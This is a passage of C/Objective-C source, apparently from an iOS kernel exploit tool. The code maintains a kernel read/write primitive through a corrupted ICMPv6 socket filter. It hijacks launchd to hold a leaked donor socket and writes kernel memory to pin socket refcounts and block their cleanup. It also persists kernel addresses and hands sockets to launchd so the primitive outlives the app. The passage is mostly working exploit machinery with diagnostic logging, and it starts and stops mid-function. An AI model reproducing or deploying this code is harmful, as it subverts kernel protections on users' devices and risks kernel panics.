        if (!is_kaddr_valid(k)) {
            printf("[KRW] filter-donor: resolve failed so=%#llx pcb=%#llx k=%#llx — "
                   "closing remote fd %d\n", so, pcb, k, fd);
            do_remote_call_stable(1000, "close", (uint64_t)fd, 0, 0, 0, 0, 0, 0, 0);
            goto done;
        }
        // The fd is deliberately NEVER closed in launchd.
        printf("[KRW] filter-donor: launchd raw6 socket fd=%d so=%#llx pcb=%#llx "
               "filter=%#llx (fd leaked in launchd on purpose)\n", fd, so, pcb, k);
        *outK = k; *outSo = so; *outPcb = pcb;
        result = true;
    }
done:
    if (broughtUp) {
        // We paid for this hijack — do not leave it inside launchd. Same
        // teardown-symmetry path as every one-shot session: pthread_exit
        // dispatched to the synthetic thread, residual traps drained, ports
        // destroyed. The donor fd stays open in launchd (see header comment).
        printf("[KRW] filter-donor: destroying self-brought launchd session "
               "(donor fd %d remains leaked in launchd)\n", fd);
        destroy_remote_call();
    }
    return result;
}

// Fallback donor: same shape, but created in-process and kept alive by the
// same kernel-side leak as the KRW pair (usecount pin + SOF_NODEFUNCT, applied
// by krw_filter_donor_harden()). No RemoteCall needed, so this works on a
// relaunch recovery without adding a launchd hijack (round 8 keeps those lazy).
static bool krw_filter_donor_create_local(uint64_t *outK, uint64_t *outSo,
                                          uint64_t *outPcb) {
    int fd = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6);
    if (fd < 0) {
        printf("[KRW] filter-donor: local socket() failed errno=%d\n", errno);
        return false;
    }
    uint8_t zeros[EARLY_KRW_LENGTH];
    memset(zeros, 0, sizeof(zeros));
    if (setsockopt(fd, IPPROTO_ICMPV6, ICMP6_FILTER, zeros, EARLY_KRW_LENGTH) != 0) {
        printf("[KRW] filter-donor: local setsockopt(ICMP6_FILTER) failed errno=%d\n", errno);
        close(fd);
        return false;
    }
    uint64_t so = krw_socket_for_fd(proc_self(), fd);
    uint64_t pcb = so ? krw_pcb_for_socket(so) : 0;
    uint64_t k = pcb ? early_kread64(pcb + off_inpcb_inp_depend6_inp6_icmp6filt) : 0;
    if (!is_kaddr_valid(k)) {
        printf("[KRW] filter-donor: local resolve failed so=%#llx pcb=%#llx k=%#llx\n",
               so, pcb, k);
        close(fd);
        return false;
    }
    gKrwFilterDonorLocalFd = fd;   // kept open; the usecount pin covers app death
    printf("[KRW] filter-donor: local raw6 socket fd=%d so=%#llx pcb=%#llx "
           "filter=%#llx\n", fd, so, pcb, k);
    *outK = k; *outSo = so; *outPcb = pcb;
    return true;
}

static void krw_filter_donor_adopt(uint64_t k, uint64_t so, uint64_t pcb,
                                   bool launchdOwned, bool persist) {
    gKrwPermanentFilter = k;
    gKrwFilterDonorSo = so;
    gKrwFilterDonorPcb = pcb;
    gKrwFilterDonorLaunchd = launchdOwned;
    if (persist) {
        NSUserDefaults *d = [NSUserDefaults standardUserDefaults];
        [d setObject:@(k)   forKey:KRW_PERM_FILTER_DEFAULTS_K];
        [d setObject:@(so)  forKey:KRW_PERM_FILTER_DEFAULTS_SO];
        [d setObject:@(pcb) forKey:KRW_PERM_FILTER_DEFAULTS_PCB];
        [d setBool:launchdOwned forKey:KRW_PERM_FILTER_DEFAULTS_LAUNCHD];
        // Round 11: stamp the boot the triple belongs to; ensure() refuses to
        // kread it after a boot boundary. Same stamps as the saved KRW
        // primitive (BootSessionUUID + BootTimeSec) so both guards decide
        // identically. A failed uuid sysctl stores an empty string -> the
        // checker falls back to BootTimeSec, exactly like the primitive.
        NSString *bootUUID = krw_persistence_current_boot_uuid();
        [d setObject:(bootUUID ?: @"") forKey:KRW_PERM_FILTER_DEFAULTS_BOOTUUID];
        [d setObject:@(krw_persistence_current_boot_time_sec())
            forKey:KRW_PERM_FILTER_DEFAULTS_BOOTSEC];
    }
    printf("[KRW] permanent ICMPv6 filter target: %#llx (donor %s, pcb=%#llx)\n",
           k, launchdOwned ? "launchd-owned" : "in-process pinned", pcb);
    log_user("[OK] Permanent ICMPv6 filter target armed at %#llx (%s donor).\n",
             k, launchdOwned ? "launchd" : "pinned");
}

// Pin the donor socket's usecount (same +0x10010001 shape as
// krw_sockets_leak_forever) and set SOF_NODEFUNCT, so even a hypothetical
// close/defunct can never free the pcb or its filter allocation. Runs BEFORE
// adopt() persists the triple (round 12): a persisted-but-unpinned donor can
// be freed if the app dies between persist and pin, and the next session's
// validation kread of that pcb is a copy_validate panic risk. Returns false
// LOUDLY when the pin can't be proven — early_kwrite64 fails safe (silently
// skips), so the usecount pin is verified by readback and the nodefunct set
// by its bool return.
static bool krw_filter_donor_harden(uint64_t so, uint64_t pcb) {
    if (!is_kaddr_valid(so) || !is_kaddr_valid(pcb)) {
        printf("[KRW] filter-donor: harden FAILED (bad addrs so=%#llx pcb=%#llx) — "
               "donor not established\n", so, pcb);
        return false;
    }
    const uint64_t pin = 0x0000100100001001ULL;
    uint64_t uc = early_kread64(so + off_socket_so_usecount);
    early_kwrite64(so + off_socket_so_usecount, uc + pin);
    uint64_t uc2 = early_kread64(so + off_socket_so_usecount);
    static uint64_t sDonorImmuneSo = 0;
    bool nf = krw_socket_set_nodefunct(pcb, &sDonorImmuneSo, "filter-donor");
    if (uc2 != uc + pin || !nf) {
        printf("[KRW] filter-donor: harden FAILED (usecount %#llx -> %#llx, "
               "nodefunct=%d) — donor not established\n", uc, uc2, (int)nf);
        return false;
    }
    return true;
}

bool kexploit_krw_permanent_filter_ensure(bool allowRemoteCreate) {
    if (is_kaddr_valid(gKrwPermanentFilter)) return true;
    if (!kexploit_krw_session_active()) return false;

    // 1) Re-adopt the persisted donor when it still checks out. Pure KRW --
    //    no launchd hijack, so this is cheap on every relaunch/recovery.
    NSUserDefaults *d = [NSUserDefaults standardUserDefaults];
    NSNumber *nk   = [d objectForKey:KRW_PERM_FILTER_DEFAULTS_K];
    NSNumber *nso  = [d objectForKey:KRW_PERM_FILTER_DEFAULTS_SO];
    NSNumber *npcb = [d objectForKey:KRW_PERM_FILTER_DEFAULTS_PCB];
    if (nk && nso && npcb) {
        // Round 11: boot-gate BEFORE any kread of the persisted addresses.
        // A triple written by a previous boot points into zone VA that may be
        // an uncommitted 16 MB window this boot; kreading it panics the
        // kernel in copy_validate (panic-full-2026-09-30-191700) and
        // krw_set_nonfatal cannot intercept a kernel data abort. Discard on
        // boot mismatch without probing; triples written before the stamp
        // keys existed carry no stamp and count as stale (same rule as the
        // saved KRW primitive).
        if (!krw_persistence_stamps_match_current_boot(
                [d stringForKey:KRW_PERM_FILTER_DEFAULTS_BOOTUUID],
                [d objectForKey:KRW_PERM_FILTER_DEFAULTS_BOOTSEC])) {
            printf("[KRW] filter-donor: persisted triple predates current boot — "
                   "discarding WITHOUT probing (zone-map hole kread would panic)\n");
            [d removeObjectForKey:KRW_PERM_FILTER_DEFAULTS_K];
            [d removeObjectForKey:KRW_PERM_FILTER_DEFAULTS_SO];
            [d removeObjectForKey:KRW_PERM_FILTER_DEFAULTS_PCB];
            [d removeObjectForKey:KRW_PERM_FILTER_DEFAULTS_LAUNCHD];
            [d removeObjectForKey:KRW_PERM_FILTER_DEFAULTS_BOOTUUID];
            [d removeObjectForKey:KRW_PERM_FILTER_DEFAULTS_BOOTSEC];
        } else {
        uint64_t k = nk.unsignedLongLongValue;
        uint64_t so = nso.unsignedLongLongValue;
        uint64_t pcb = npcb.unsignedLongLongValue;
        krw_set_nonfatal(true);
        bool valid = krw_filter_donor_validate(k, so, pcb);
        krw_set_nonfatal(false);
        if (valid) {
            krw_filter_donor_adopt(k, so, pcb,
                                   [d boolForKey:KRW_PERM_FILTER_DEFAULTS_LAUNCHD],
                                   false);
            return true;
        }
        // Stale (same boot but donor somehow gone — should not happen for a
        // usecount-pinned/NODEFUNCT donor). The failed validation left the RW
        // filter armed at a stale donor field — park it back to a safe target
        // before re-creating.
        printf("[KRW] filter-donor: persisted donor stale (k=%#llx) — re-creating\n", k);
        krw_park_filter_internal(false);
        [d removeObjectForKey:KRW_PERM_FILTER_DEFAULTS_K];
        [d removeObjectForKey:KRW_PERM_FILTER_DEFAULTS_SO];
        [d removeObjectForKey:KRW_PERM_FILTER_DEFAULTS_PCB];
        [d removeObjectForKey:KRW_PERM_FILTER_DEFAULTS_LAUNCHD];
        [d removeObjectForKey:KRW_PERM_FILTER_DEFAULTS_BOOTUUID];
        [d removeObjectForKey:KRW_PERM_FILTER_DEFAULTS_BOOTSEC];
        }
    }

    uint64_t k = 0, so = 0, pcb = 0;

    // 2) Preferred: launchd-owned donor. Only when the caller says a RemoteCall
    //    hijack is acceptable right now (exploit end, where the persistence
    //    transfer already brought one up); a relaunch recovery must not add a
    //    launchd hijack of its own.
    if (allowRemoteCreate && krw_filter_donor_create_launchd(&k, &so, &pcb)) {
        if (krw_filter_donor_harden(so, pcb)) {
            krw_filter_donor_adopt(k, so, pcb, true, true);
            return true;
        }
        // Round 12: never persist an un-pinned triple. The unpersisted launchd
        // donor stays an anonymous socket in launchd's fd table — harmless.
        printf("[KRW] filter-donor: launchd donor created but pinning failed — "
               "falling back to local donor (NOT persisting an un-pinned triple)\n");
    }

    // 3) Fallback: in-process donor, pinned/NODEFUNCT exactly like the KRW
    //    pair — the kernel-side leak keeps pcb and filter alive after app death.
    if (krw_filter_donor_create_local(&k, &so, &pcb)) {
        if (krw_filter_donor_harden(so, pcb)) {
            krw_filter_donor_adopt(k, so, pcb, false, true);
            return true;
        }
        printf("[KRW] filter-donor: local donor created but pinning failed — "
               "NOT persisting an un-pinned triple\n");
    }

    printf("[KRW] filter-donor: no permanent filter available — park targets fall "
           "back to restore snapshot/kernel base\n");
    return false;
}

// Auto-repark. After every primitive op the RW filter is pointed back at the
// permanent donor filter BEFORE krwLock is released, so the time the filter
// spends aimed at an arbitrary (possibly transient) kernel address is bounded
// by a single locked syscall pair rather than by whenever a park happens to
// run. Callers must hold krwLock. One setsockopt through the control alias;
// failure leaves the filter armed (no worse than the pre-fix behavior) and is
// repeat-capped. A/B kill switch in case on-device perf surprises.
static const bool kEnableAutoRepark = true;
static int sAutoReparkLogCount = 0;
static void krw_repark_locked(void) {
    if (!kEnableAutoRepark || !is_kaddr_valid(gKrwPermanentFilter)) return;
    if (controlSocket < 0) return;
    uint8_t buf[EARLY_KRW_LENGTH];
    memset(buf, 0, sizeof(buf));
    *(uint64_t *)buf = gKrwPermanentFilter;
    if (setsockopt(controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER,
                   buf, EARLY_KRW_LENGTH) == 0) {
        atomic_store_explicit(&gKrwFilterParked, true, memory_order_relaxed);
        return;
    }
    if (sAutoReparkLogCount < 10) {
        sAutoReparkLogCount++;
        printf("[KRW] auto-repark setsockopt failed errno=%d%s\n", errno,
               sAutoReparkLogCount == 10 ? " (further logs capped)" : "");
    }
}

// ---------------------------------------------------------------------------
// Round 13: batched composites. A tight KRW sequence (the allproc walk is the
// hot one: 2 reads per proc, hundreds of reads per lookup, and the fastkill
// path does several lookups per kill) takes krwLock ONCE via krw_batch_begin()
// and runs every early_kread/early_kwrite inside that single hold;
// krw_batch_end() does ONE final auto-repark and unlocks. Inside a batch the
// per-op repark is replaced by a periodic one every KRW_BATCH_REPARK_EVERY
// ops, so even mid-walk the filter never rests armed at an arbitrary address
// for more than ~32 ops (~1-2 ms) — and with krwLock held throughout, no
// park/detach/teardown can interleave (they all take krwLock). Exposure vs
// round-9 per-op repark: same shape, bounded by the periodic repark; the only
// residual is app-death mid-composite (<=32 ops of armed window), which is the
// pre-round-9 behavior for EVERY op and was accepted then.
// NEVER call kexploit_krw_ready()/krw_park_filter_internal()/reattach/detach
// inside a batch — they take krwLock themselves and would deadlock. Batches
// nest per-thread (a batched callee inside a batched caller just rides the
// outer hold).
static __thread int tKrwBatchDepth = 0;
static __thread int tKrwBatchOps = 0;
#define KRW_BATCH_REPARK_EVERY 32

bool krw_batch_begin(void) {
    if (tKrwBatchDepth > 0) { tKrwBatchDepth++; return true; }   // nested
    // Outermost begin: same acquire discipline as krw_lock_for_access(), once.
    for (int attempt = 0; attempt < 3; attempt++) {
        krw_reattach_if_detached();
        pthread_mutex_lock(&krwLock);
        if (controlSocket >= 0 && rwSocket >= 0) {
            tKrwBatchDepth = 1;
            tKrwBatchOps = 0;
            return true;
        }
        pthread_mutex_unlock(&krwLock);
    }
    return false;   // caller runs un-batched (per-op locking, as before)
}

void krw_batch_end(void) {
    if (tKrwBatchDepth <= 0) return;
    if (--tKrwBatchDepth > 0) return;   // outer batch still owns the lock
    tKrwBatchOps = 0;
    krw_repark_locked();                // ONE repark for the whole composite
    pthread_mutex_unlock(&krwLock);
}

// End one primitive op. Outside a batch: the round-9 per-op auto-repark +
// unlock. Inside a batch: keep the lock, repark only every
// KRW_BATCH_REPARK_EVERY ops so the armed window stays ~ms-bounded.
static void krw_op_end_locked(void) {
    if (tKrwBatchDepth > 0) {
        if (++tKrwBatchOps % KRW_BATCH_REPARK_EVERY == 0)
            krw_repark_locked();
        return;
    }
    krw_repark_locked();
    pthread_mutex_unlock(&krwLock);
}

static bool krw_park_filter_internal(bool verbose) {
    if (!kexploit_krw_session_active()) return false;

    uint8_t buf[EARLY_KRW_LENGTH];
    memset(buf, 0, sizeof(buf));

    uint64_t parkTarget = 0;
    if (is_kaddr_valid(gKrwPermanentFilter)) {
        // The permanent donor filter (round 9): launchd-owned or leak-pinned
        // memory no zone can ever recycle. THE resting value of the RW filter.
        parkTarget = gKrwPermanentFilter;
        if (gKrwRestoreSnapshotValid)
            *(uint64_t *)(buf + 8) = gKrwRestoreRwCksum;
    } else if (gKrwRestoreSnapshotValid && is_kaddr_valid(gKrwRestoreRwFilter)) {
        parkTarget = gKrwRestoreRwFilter;
        *(uint64_t *)(buf + 8) = gKrwRestoreRwCksum;
    } else if (is_kaddr_valid(g_kernel_base)) {
        // Not the real filter, but permanently mapped and never freed, so a
        // stray ICMPv6 filter test reads kernel text instead of freed memory.
        parkTarget = g_kernel_base;
    } else {
        printf("[KRW] park: no safe filter target available\n");
        return false;
    }
    *(uint64_t *)buf = parkTarget;

    pthread_mutex_lock(&krwLock);
    int res = setsockopt(controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER, buf, EARLY_KRW_LENGTH);
    int savedErrno = errno;
    pthread_mutex_unlock(&krwLock);
    if (res != 0) {
        // Log only the first failure of a streak. The idle worker used to retry
        // every 2s forever and print this each time, flooding the in-app log
        // (and burying it past the file's fsync window). The streak resets on
        // the next successful park or krw_note_access().
        if (verbose || atomic_fetch_add_explicit(&gKrwParkFailStreak, 1,
                                                 memory_order_relaxed) == 0) {
            printf("[KRW] park: setsockopt failed errno=%d (target=%#llx) — "
                   "parking unavailable this session; suppressing repeats\n",
                   savedErrno, parkTarget);
        }
        return false;
    }
    atomic_store_explicit(&gKrwParkFailStreak, 0, memory_order_relaxed);

    // Readback-verify. A setsockopt that returns 0 but leaves the filter
    // pointing at the old target is a silent death sentence -- the next
    // ICMPv6 packet dereferences it in rip6_input. Prove where it points.
    // Note: a concurrent early_kread() between our setsockopt and this
    // readback would re-arm the filter and show up here as a mismatch;
    // that report is truthful (the filter really isn't parked anymore).
    uint64_t armed = 0;
    if (!krw_read_rw_filter_field(&armed)) {
        printf("[KRW] park: UNVERIFIABLE (readback failed) -- intended target %#llx\n",
               parkTarget);
        return false;
    }
    if (armed != parkTarget) {
        printf("[KRW] park: readback MISMATCH armed=%#llx expected=%#llx -- "
               "filter NOT parked; kernel may data-abort on next ICMPv6 packet\n",
               armed, parkTarget);
        return false;
    }
    if (verbose) printf("[KRW] park: RW filter parked at %#llx (verified)\n", parkTarget);
    return true;
}

bool kexploit_krw_park_filter_safe(void) {
    return krw_park_filter_internal(true);
}

// Synchronous end-of-session park with readback verification and post-mortem
// logging.
//
// Motivation: the delayed post-success panics (rip6_input walking a stale
// in6p_icmp6filt into a freed threads-zone page) fire minutes after [DONE]
// while the device sits idle. The idle parker is eventually-consistent and
// the background hook only fires if the app actually backgrounds -- in the
// 20260903-152106 session neither happened, and the filter was still dirty
// when the panic hit at 15:25. So: park NOW, synchronously, and prove it.
//
// The identity/armed-value lines are deliberate post-mortem data: a future
// panic's x23 (walked inpcb) can be matched against the PCB addresses, and
// its far against armedFilter, closing the evidentiary loop retroactively.
bool kexploit_krw_session_end_park(void) {
    if (kexploit_krw_sockets_detached()) {
        // Detached implies parked -- nothing hands the fds to launchd without
        // parking the filter first.
        printf("[KRW] session-end park: already parked and resting in launchd\n");
        return true;
    }
    if (!kexploit_krw_session_active()) {
        printf("[KRW] session-end park: no active session\n");
        return false;
    }

    uint64_t armedBefore = 0;
    bool readOk = krw_read_rw_filter_field(&armedBefore);
    printf("[KRW] session-end: controlSocketPcb=%#llx rwSocketPcb=%#llx "
           "armedFilter=%#llx%s\n",
           controlSocketPcb, rwSocketPcb, armedBefore,
           readOk ? "" : " (readback failed)");

    bool parked = krw_park_filter_internal(true);   // verbose + verified (hunk 2)
    if (!parked) {
        printf("[KRW] session-end park FAILED -- filter left armed at %#llx; "
               "expect a delayed kernel data abort if that target is freed\n",
               armedBefore);
        return false;
    }
    atomic_store_explicit(&gKrwFilterParked, true, memory_order_relaxed);

    // Hand the fds to launchd here, synchronously, rather than leaving it to
    // the idle worker's timer.
    //
    // Measured over the chain logs: of 21 sessions killed without a terminal
    // cleanup, 7 stopped logging within 5 s of this park and 8 within 30 s --
    // 20260916-121627 logged nothing at all after it and its successor at
    // 12:20:36 found the primitive dead, re-exploited, and panicked. No timer
    // wins that race, because the app is force-quit seconds after [DONE].
    // This is the last moment we are guaranteed to run, so use it.
    //
    // Safe for live tweaks: krw_lock_for_access() re-makes the fds on their
    // next kernel access.
    if (!kexploit_krw_sockets_detached()) {
        if (!settings_krw_idle_detach_allowed()) {
            printf("[KRW] session-end: live tweaks still hold the session — keeping "
                   "the fds; they would be re-made on the next tweak tick anyway\n");
        } else if (krw_persistence_detach_for_background()) {
            printf("[KRW] session-end: sockets handed to launchd — primitive "
                   "survives a force-quit from here\n");
        } else {
            printf("[KRW] session-end: detach unavailable (launchd not anchoring); "
                   "primitive stays in this process and dies with it\n");
        }
    }
    return true;
}

// Idle parking.
//
// Every kernel access begins with set_target_kaddr(), which leaves
// in6p_icmp6filt pointing at whatever was last touched -- for RemoteCall work,
// a SpringBoard thread struct. icmp6_rip6_input() dereferences that pointer for
// every inbound ICMPv6 packet, so an abrupt kill (jetsam, force-quit, crash)
// while it is dirty leaves the kernel reading freed memory once that thread
// exits.
//
// Parking at termination and on backgrounding is not enough for live tweaks:
// their loops keep ticking in the background and re-arm the filter immediately.
// So park whenever the primitive goes quiet. The next access re-arms it on its
// own, because set_target_kaddr() always runs first -- parking in between is
// invisible to callers.
#define KRW_IDLE_PARK_POLL_US   2000000   // check every 2s
#define KRW_IDLE_PARK_IDLE_NS   1000000000ULL  // park after 1s of quiet
// Hand the fds back to launchd after this much quiet. See the idle-detach note
// on krw_idle_park_worker() for why this exists and why it is much longer than
// the park window.
#define KRW_IDLE_DETACH_IDLE_NS 5000000000ULL   // detach after 5s of quiet
#define KRW_IDLE_DETACH_GIVEUP  3    // stop retrying a detach that keeps refusing

static _Atomic uint64_t gLastKrwAccessNS = 0;
static _Atomic bool gKrwIdleParkRunning = false;
static _Atomic bool gKrwParkGaveUp = false;
static _Atomic bool gKrwDeathReported = false;   // liveness probe: log once
static _Atomic int gKrwDetachFailStreak = 0;     // idle detach: stop after a few
static _Atomic int gKrwReattachFailStreak = 0;   // reattach: stop after a few (see below)
#define KRW_IDLE_PARK_GIVEUP 3   // stop retrying after this many consecutive fails

static void krw_note_access(void) {
    atomic_store_explicit(&gLastKrwAccessNS,
                          clock_gettime_nsec_np(CLOCK_MONOTONIC_RAW),
                          memory_order_relaxed);
    atomic_store_explicit(&gKrwFilterParked, false, memory_order_relaxed);
    atomic_store_explicit(&gKrwParkGaveUp, false, memory_order_relaxed);
    atomic_store_explicit(&gKrwParkFailStreak, 0, memory_order_relaxed);
    atomic_store_explicit(&gKrwDeathReported, false, memory_order_relaxed);
    atomic_store_explicit(&gKrwDetachFailStreak, 0, memory_order_relaxed);
    // A live access proves the primitive is back — let reattach try again later.
    atomic_store_explicit(&gKrwReattachFailStreak, 0, memory_order_relaxed);
}

// Round 10: "last-alive" heartbeat file — the H1-vs-H2 discriminator from the
// 17:45:56 trap-wait analysis. The log ended 145 ms into a 120 s trap-wait
// with zero lifecycle lines, which is ambiguous between "the APP died/froze"
// (orphaned armed launchd thread → initproc panic tens of seconds later) and
// "the DEVICE panicked immediately" (kernel fault). A tiny timestamp file
// rewritten every ~2 s survives app death (the page cache outlives the
// process); the next launch reports the exact last-alive second and whether
// the boot changed since, so the post-mortem no longer needs the panic file
// to know WHEN userspace stopped.
//
// fsync policy: every 5th tick (~10 s). More is the documented EXC_RESOURCE
// offender (the logger's F_FULLFSYNC kills); fewer risks losing the final
// ticks to the page cache in a true device panic — the only case where the
// file is the sole evidence.
#define KRW_LAST_ALIVE_TICK_NS   (2ULL * 1000000000ULL)
#define KRW_LAST_ALIVE_FSYNC_EVERY 5

static long long krw_boot_time_sec(void) {
    struct timeval boottv = {0};
    size_t sz = sizeof(boottv);
    if (sysctlbyname("kern.boottime", &boottv, &sz, NULL, 0) != 0 || boottv.tv_sec == 0)
        return -1;
    return (long long)boottv.tv_sec;
}

static const char *krw_last_alive_path(void) {
    static char path[1024];
    if (!path[0]) {
        NSString *p = [NSHomeDirectory() stringByAppendingPathComponent:
                       @"Library/Caches/cyanide_last_alive"];
        strncpy(path, p.UTF8String, sizeof(path) - 1);
    }
    return path;
}

// Cheap; safe to call from any thread, any cadence — self rate-limits to one
// write per KRW_LAST_ALIVE_TICK_NS. No allocation on the hot path after the
// first call (path is cached; the write is a single pwrite).
void krw_last_alive_tick(void) {
    static _Atomic uint64_t sLastTickNS = 0;
    static _Atomic int sSinceFsync = 0;
    uint64_t now = clock_gettime_nsec_np(CLOCK_MONOTONIC_RAW);
    uint64_t prev = atomic_load_explicit(&sLastTickNS, memory_order_relaxed);
    if (prev && now - prev < KRW_LAST_ALIVE_TICK_NS) return;
    atomic_store_explicit(&sLastTickNS, now, memory_order_relaxed);

    char buf[64];
    int len = snprintf(buf, sizeof(buf), "%lld %lld\n",
                       (long long)time(NULL), krw_boot_time_sec());
    if (len <= 0) return;
    int fd = open(krw_last_alive_path(), O_WRONLY | O_CREAT | O_TRUNC, 0644);
    if (fd < 0) return;
    (void)write(fd, buf, (size_t)len);
    if (atomic_fetch_add_explicit(&sSinceFsync, 1, memory_order_relaxed) + 1
        >= KRW_LAST_ALIVE_FSYNC_EVERY) {
        atomic_store_explicit(&sSinceFsync, 0, memory_order_relaxed);
        (void)fsync(fd);
    }
    close(fd);
}

// Once per launch, BEFORE the exploit chain: report when the previous process
// last proved itself alive, and whether the device rebooted since. Same boot +
// fresh tick ≈ previous process just exited (cleanly or killed). Same boot +
// stale tick = previous process died at that second — the H1 signature. Boot
// changed + stale tick = device went down within ~2 s of that tick — the H2
// signature (kernel panic almost immediately after userspace went quiet).
void krw_last_alive_report(void) {
    int fd = open(krw_last_alive_path(), O_RDONLY);
    if (fd < 0) {
        printf("[KRW] last-alive: no previous heartbeat file (first run?)\n");
        return;
    }
    char buf[64] = {0};
    ssize_t n = read(fd, buf, sizeof(buf) - 1);
    close(fd);
    long long tickEpoch = 0, tickBoot = 0;
    if (n <= 0 || sscanf(buf, "%lld %lld", &tickEpoch, &tickBoot) != 2 || !tickEpoch) {
        printf("[KRW] last-alive: heartbeat file unreadable\n");
        return;
    }
    long long nowEpoch = (long long)time(NULL);
    long long boot = krw_boot_time_sec();
    long long age = nowEpoch - tickEpoch;
    if (boot > 0 && tickBoot == boot) {
        printf("[KRW] last-alive: previous process last ticked %lld s ago "
               "(same boot) — died/exited at ~%s", age, ctime(&(time_t){tickEpoch}));
    } else {
        long long intoNewBoot = tickEpoch - tickBoot;
        printf("[KRW] last-alive: previous tick was %lld s into the PREVIOUS boot, "
               "%lld s ago — device went down within ~2 s of that tick "
               "(panic-window signature)\n", intoNewBoot, age);
    }
}

// Once parked, the worker used to `continue` forever, which made the session's
// death invisible. Across the 20260903-20260916 chain logs the primitive died
// 79-1400 s after the last access in eight sessions, always while the app sat
// idle, and nothing noticed until the user's next Run or the terminal cleanup:
// all 36 "not ready" lines in 69 logs are the same setsockopt EINVAL, i.e.
// icmp6_ctloutput finding in6p_icmp6filt == NULL on the control PCB.
//
// So a parked session now gets two things per tick instead of silence:
//
//  1. A liveness probe. krw_read_rw_filter_field() is a getsockopt, so it
//     reads the filter without re-arming it and without disturbing the park.
//     If it fails, the primitive is gone; say so once, with the quiet time,
//     so the log shows when it died relative to screen/background events
//     rather than only that it was dead by the next Run.
//
//  2. An idle detach. Recovery succeeded 13/13 when the previous session had
//     handed the sockets to launchd and exited cleanly, and failed 19/24 when
//     Cyanide still held the fds -- iOS reclaims a suspended app's sockets,
//     launchd's fileports survive. The existing detach waits for
//     applicationDidEnterBackground or a screen-blank notify; in
//     20260915-222513 that hook ran 214 s after the last access and found the
//     primitive already dead. Detaching on quiet gets there first.
//
// The detach window is 30 s rather than the park's 1 s because reattaching
// costs a bootstrap_look_up plus two fileport_makefd calls on the next access,
// and a live tweak loop that ticks every few seconds should stay attached.
static void *krw_idle_park_worker(void *arg) {
    (void)arg;
    while (true) {
        usleep(KRW_IDLE_PARK_POLL_US);
        // Round 10: heartbeat FIRST — it must tick even while the primitive is
        // detached/parked/dead, because those are exactly the quiet windows a
        // post-mortem has to bound ("app alive until at least T").
        krw_last_alive_tick();
        if (!kexploit_krw_session_active()) continue;
        uint64_t last = atomic_load_explicit(&gLastKrwAccessNS, memory_order_relaxed);
        if (last == 0) continue;
        uint64_t quiet = clock_gettime_nsec_np(CLOCK_MONOTONIC_RAW) - last;

        if (!atomic_load_explicit(&gKrwFilterParked, memory_order_relaxed)) {
            if (quiet < KRW_IDLE_PARK_IDLE_NS) continue;
            if (atomic_load_explicit(&gKrwParkGaveUp, memory_order_relaxed)) continue;
            // Round 26: never park while a RemoteCall op is in flight. A
            // hijack's arm/trap-wait is quiet-by-design on the ACCESS clock
            // yet keeps using the same control channel — the idle park fired
            // MID-HIJACK at live 29.log 16:01:30.320 (arm #2 at 30.202, park
            // setsockopt 118 ms later, session froze immediately after). The
            // idle DETACH below already refuses on remote_call_inflight_count;
            // the park now takes the same guard. Not a skip-forever: the next
            // KRW access re-arms the filter anyway, and the worker re-parks
            // once the op drains and the quiet window re-elapses.
            if (remote_call_inflight_count() > 0) {
                static volatile int gParkRcSkipLog = 0;
                int n = __sync_add_and_fetch(&gParkRcSkipLog, 1);
                if (n == 1 || (n & 0x3f) == 0)
                    printf("[KRW] idle park SKIPPED — RemoteCall op in flight "
                           "(shared control channel; will re-park after drain) "
                           "[%d]\n", n);
                continue;
            }
            if (krw_park_filter_internal(false)) {
                atomic_store_explicit(&gKrwFilterParked, true, memory_order_relaxed);
            } else if (atomic_load_explicit(&gKrwParkFailStreak, memory_order_relaxed)
                       >= KRW_IDLE_PARK_GIVEUP) {
                // Parking is not going to start working on its own; stop hammering
                // it (and the log) until the next KRW access resets the state.
                atomic_store_explicit(&gKrwParkGaveUp, true, memory_order_relaxed);
                printf("[KRW] idle parking gave up after %d consecutive failures — "
                       "will retry on next KRW access\n", KRW_IDLE_PARK_GIVEUP);
            }
            continue;
        }

        // Parked. Prove it is still there.
        uint64_t armed = 0;
        if (!krw_read_rw_filter_field(&armed)) {
            bool alreadyReported =
                atomic_exchange_explicit(&gKrwDeathReported, true, memory_order_relaxed);
            if (!alreadyReported) {
                printf("[KRW] liveness probe FAILED after %llu s of quiet — the parked "
                       "primitive is gone (control PCB filter no longer readable). "
                       "Next Run will re-exploit; suppressing repeats.\n",
                       (unsigned long long)(quiet / 1000000000ULL));
            }
            continue;
        }

        // Alive and quiet for long enough: let launchd hold it instead of us.
        // Backstop only -- the session-end park already detaches. This catches
        // a session that was reattached by a later access and then went quiet.
        // NEVER detach while a RemoteCall op is in flight: a hijack's trap-wait
        // is quiet (no KRW access) but holds a trapped launchd thread whose
        // restore needs these sockets. (krw_persistence_detach_for_background
        // also refuses; checking here keeps the giveup streak from burning.)
        if (quiet >= KRW_IDLE_DETACH_IDLE_NS && !kexploit_krw_sockets_detached() &&
            remote_call_inflight_count() == 0 &&
            settings_krw_idle_detach_allowed()) {
            int streak = atomic_load_explicit(&gKrwDetachFailStreak, memory_order_relaxed);
            if (streak >= KRW_IDLE_DETACH_GIVEUP) continue;
            if (krw_persistence_detach_for_background()) {
                atomic_store_explicit(&gKrwDetachFailStreak, 0, memory_order_relaxed);
                printf("[KRW] idle detach after %llu s quiet — primitive resting in "
                       "launchd; next access re-makes the fds\n",
                       (unsigned long long)(quiet / 1000000000ULL));
            } else if (atomic_fetch_add_explicit(&gKrwDetachFailStreak, 1,
                                                 memory_order_relaxed) + 1
                       >= KRW_IDLE_DETACH_GIVEUP) {
                // Almost always launchd not anchoring, which will not fix
                // itself. Say so once instead of retrying every 2 s in silence.
                printf("[KRW] idle detach unavailable after %d attempts (launchd not "
                       "anchoring?) — primitive will not survive this process\n",
                       KRW_IDLE_DETACH_GIVEUP);
            }
        }
    }
    return NULL;
}

void kexploit_krw_idle_park_start(void) {
    bool expected = false;
    if (!atomic_compare_exchange_strong(&gKrwIdleParkRunning, &expected, true)) return;

    pthread_attr_t attr;
    pthread_attr_init(&attr);
    pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
    pthread_attr_set_qos_class_np(&attr, QOS_CLASS_BACKGROUND, 0);
    pthread_t t;
    int err = pthread_create(&t, &attr, krw_idle_park_worker, NULL);
    pthread_attr_destroy(&attr);
    if (err != 0) {
        printf("[KRW] idle park thread failed to start: %d\n", err);
        atomic_store(&gKrwIdleParkRunning, false);
        return;
    }
